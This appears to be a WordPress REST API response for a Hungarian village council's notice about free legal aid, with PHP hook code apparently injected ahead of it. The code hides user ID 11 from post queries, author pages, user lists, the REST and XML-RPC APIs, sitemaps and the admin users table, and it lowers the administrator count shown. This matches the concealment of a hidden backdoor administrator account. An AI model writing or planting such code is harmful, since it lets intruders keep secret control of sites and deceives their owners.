add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 11;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 11 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 11 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 11;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 11;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/11(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-11{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":655,"date":"2020-01-30T12:32:25","date_gmt":"2020-01-30T12:32:25","guid":{"rendered":"http:\/\/www.bukkszek.hu\/2015\/?p=655"},"modified":"2020-01-30T12:32:27","modified_gmt":"2020-01-30T12:32:27","slug":"jogsegely-szolgalat-a-telepulesen","status":"publish","type":"post","link":"http:\/\/www.bukkszek.hu\/2015\/2020\/01\/30\/jogsegely-szolgalat-a-telepulesen\/","title":{"rendered":"Jogseg\u00e9ly szolg\u00e1lat a telep\u00fcl\u00e9sen"},"content":{"rendered":"\n<p><strong>Tisztelt B\u00fckksz\u00e9ki\nLakosok!<\/strong><\/p>\n\n\n\n<p>A B\u00fckksz\u00e9k K\u00f6zs\u00e9gi \u00d6nkorm\u00e1nyzat megb\u00edz\u00e1s\u00e1b\u00f3l 2020. janu\u00e1r\nh\u00f3napt\u00f3l kezd\u0151d\u0151en, havonta egyszer ingyenes jogseg\u00e9ly szolg\u00e1lat m\u0171k\u00f6dik a\ntelep\u00fcl\u00e9sen.<\/p>\n\n\n\n<p class=\"has-background has-very-light-gray-background-color\">Dr. Zvara \u00c1gnes \u00fcgyv\u00e9d els\u0151\nalkalommal <strong>2020. janu\u00e1r 31-\u00e9n (p\u00e9nteken)\n8-10 \u00f3ra k\u00f6z\u00f6tt<\/strong> tart \u00fcgyf\u00e9lfogad\u00e1st a K\u00f6zs\u00e9gh\u00e1z\u00e1n (B\u00fckksz\u00e9k, Dob\u00f3 Istv\u00e1n \u00fat\n1.)<\/p>\n\n\n\n<p>K\u00e9rj\u00fck, k\u00f6vess\u00e9g figyelemmel a hirdet\u0151ket \u00e9s a honlapot,\nmelyeken minden h\u00f3napban t\u00e1j\u00e9koztatjuk \u00d6n\u00f6ket a havi \u00fcgyf\u00e9lfogad\u00e1s pontos\nid\u0151pontj\u00e1r\u00f3l.<\/p>\n\n\n\n<p>Tisztelettel:<br>S\u00e1gi Ferenc sk.<br>polg\u00e1rmester<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tisztelt B\u00fckksz\u00e9ki Lakosok! A B\u00fckksz\u00e9k K\u00f6zs\u00e9gi \u00d6nkorm\u00e1nyzat megb\u00edz\u00e1s\u00e1b\u00f3l 2020. janu\u00e1r h\u00f3napt\u00f3l kezd\u0151d\u0151en, havonta egyszer ingyenes jogseg\u00e9ly szolg\u00e1lat m\u0171k\u00f6dik a telep\u00fcl\u00e9sen. Dr. Zvara \u00c1gnes \u00fcgyv\u00e9d els\u0151 alkalommal 2020. janu\u00e1r 31-\u00e9n (p\u00e9nteken) 8-10 \u00f3ra k\u00f6z\u00f6tt tart&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":656,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-655","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hirek"],"_links":{"self":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/655","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/comments?post=655"}],"version-history":[{"count":1,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/655\/revisions"}],"predecessor-version":[{"id":657,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/655\/revisions\/657"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media\/656"}],"wp:attachment":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media?parent=655"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/categories?post=655"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/tags?post=655"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}